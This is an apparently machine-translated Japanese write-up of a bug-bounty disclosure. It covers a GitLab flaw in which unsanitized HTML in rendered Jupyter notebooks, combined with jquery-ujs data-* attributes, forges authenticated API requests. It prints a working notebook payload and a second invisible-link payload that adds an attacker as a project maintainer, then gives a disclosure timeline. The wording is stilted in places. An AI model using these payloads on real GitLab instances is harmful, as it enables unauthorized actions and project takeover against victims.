gitlabのセキュリティ脆弱性:Jupyterノートを通して任意の要求を送る


GitLab ソフトウェア開発プロセスを管理するユーザー数百万をサポートするdevopsプラットフォームです.この一環として、GitLabはまた、リッチな表現のような機能を持つデータの科学者をサポートしていますJupyter ノートブック

からとられるイメージGitLab documentation .

ノートブック
Webベースのインタラクティブな開発環境を通じて、Jupyterノートブックは、簡単にデータサイエンスや計算ジャーナリズムのワークフローを共有することができます.
Pythonなどの異なるプログラミング言語は、小さな単位、いわゆるセルを組み合わせることによって、これらのワークフローを定義するために使用することができます.プログラミング言語に加えて、これらのセルもdisplay HTML .
GitLabのjupyterノートの豊かな表現がより多くのようなツールで制限されるけれども nbviewer , HTMLを持つセルはまだgitlab上でレンダリングされます.

GitlabにおけるJupyterノートの豊富な表現の利用
Hackerone上の既存のgitlabの脆弱性をブラウズしながら、私はOpenAPI specifications かつてはstored XSS vulnerability . これは、このタイプの脆弱性がGitLabの他のリッチな表現にも適用できるかどうか知りたいと思いました.それで、私はGitlabのJupyter Notebook Viewerをいじくり始めました、そして、報われました!
The vulnerability that I discovered , GitLabのJupyterノートブックビューアと使用の出力でSanitizationの不足を活用 jquery-ujs , NPMパッケージused in GitLab , 道具として.

Jupyterノートブックレンダリングのサニテーションの欠如
以下のJupyterノートブックをgitlabのペイロードとして保存します.
{
  "cells": [
    {
      "metadata": {},
      "cell_type": "markdown",
      "source": ["<a data-method=\"put\" data-params=\"message=p0wn3d\" data-remote=\"true\" href=\"/api/v4/user/status\" style=\"background-color: rgba(0, 0, 0, 0); border: 0; cursor: default; height: 100%; left: 0; position: absolute; top: 0; width: 100%; z-index: 1000\" />"]
    }
  ],
  "metadata": {
    "kernelspec": {
      "name": "python3",
      "display_name": "Python 3",
      "language": "python"
    },
    "language_info": {
      "name": "python",
      "version": "3.6.10",
      "mimetype": "text/x-python",
      "codemirror_mode": {
        "name": "ipython",
        "version": 3
      },
      "pygments_lexer": "ipython3",
      "nbconvert_exporter": "python",
      "file_extension": ".py"
    }
  },
  "nbformat": 4,
  "nbformat_minor": 2
}
含まれるHTMLを強制的に出力します.
<a
  data-method="put"
  data-params="message=p0wn3d"
  data-remote="true"
  href="/api/v4/user/status"
  style="background-color: rgba(0, 0, 0, 0); border: 0; cursor: default; height: 100%; left: 0; position: absolute; top: 0; width: 100%; z-index: 1000"
/>
これは単に目に見えないリンクですが、スタイリングは、ユーザーの最初のクリック時にリンクをトリガJupyterノートブックビューアの上に層を作成します.

使用jquery-ujs HTTPリクエストを送信するには
HTMLのサニテーションの欠如は、それ自体の脆弱性ではありません.レンダリングdata-* 属性は、jquery-ujs この脆弱性を発見した時点でgitlabが使用した.NPMパッケージはHTTPリクエストをリンクから作ることができます.<a> HTML要素data-* 属性.
上記からの典型的なペイロードは、我々が非同期を製造したがっていることを指定します.data-remote="true" ) PUT リクエスト(つまり、data-method="put" ) to https://gitlab.com/api/v4/user/status (つまり、href="/api/v4/user/status" ) パラメータ付き{'message': 'p0wn3d'} (つまり、data-params="message=p0wn3d" ). つまり、被害者のプロフィールの状態をp0wn3d .

衝撃
被害者のステータスを変更しながら、GitLabのAPIの顔に被害者を偽造、限られた影響を持っている非常に有害なことができます.このように、次のペイロードを考慮して、攻撃者を希望するプロジェクトの管理者として命名します.
<a
  data-method="put"
  data-params="user_id=<ATTACKER_ID>&access_level=40"
  data-remote="true"
  data-url="/api/v4/projects/<PROJECT_ID>/members"
  style="background-color: rgba(0, 0, 0, 0); border: 0; cursor: default; height: 100%; left: 0; position: absolute; top: 0; width: 100%; z-index: 1000"
/>
どこ<ATTACKER_ID> は、gitlabと<PROJECT_ID> はGITLABプロジェクトのIDになります.

年表
私は責任をこの脆弱性をGitlabのバグ賞金プログラムを介して開示on HackerOne :
  • [ 2020 - 08 - 30 ] Gitlabへの脆弱性を報告した
  • [ 2020 - 08 - 31 ] exploitの簡素化でレポートを更新しました
  • [ 2020 - 09 - 02 ]技術の詳細をフォローアップして報告書を更新しました
  • GITLABは脆弱性を検証した
  • Gitlabはバージョン14.3で脆弱性の修正を出荷しました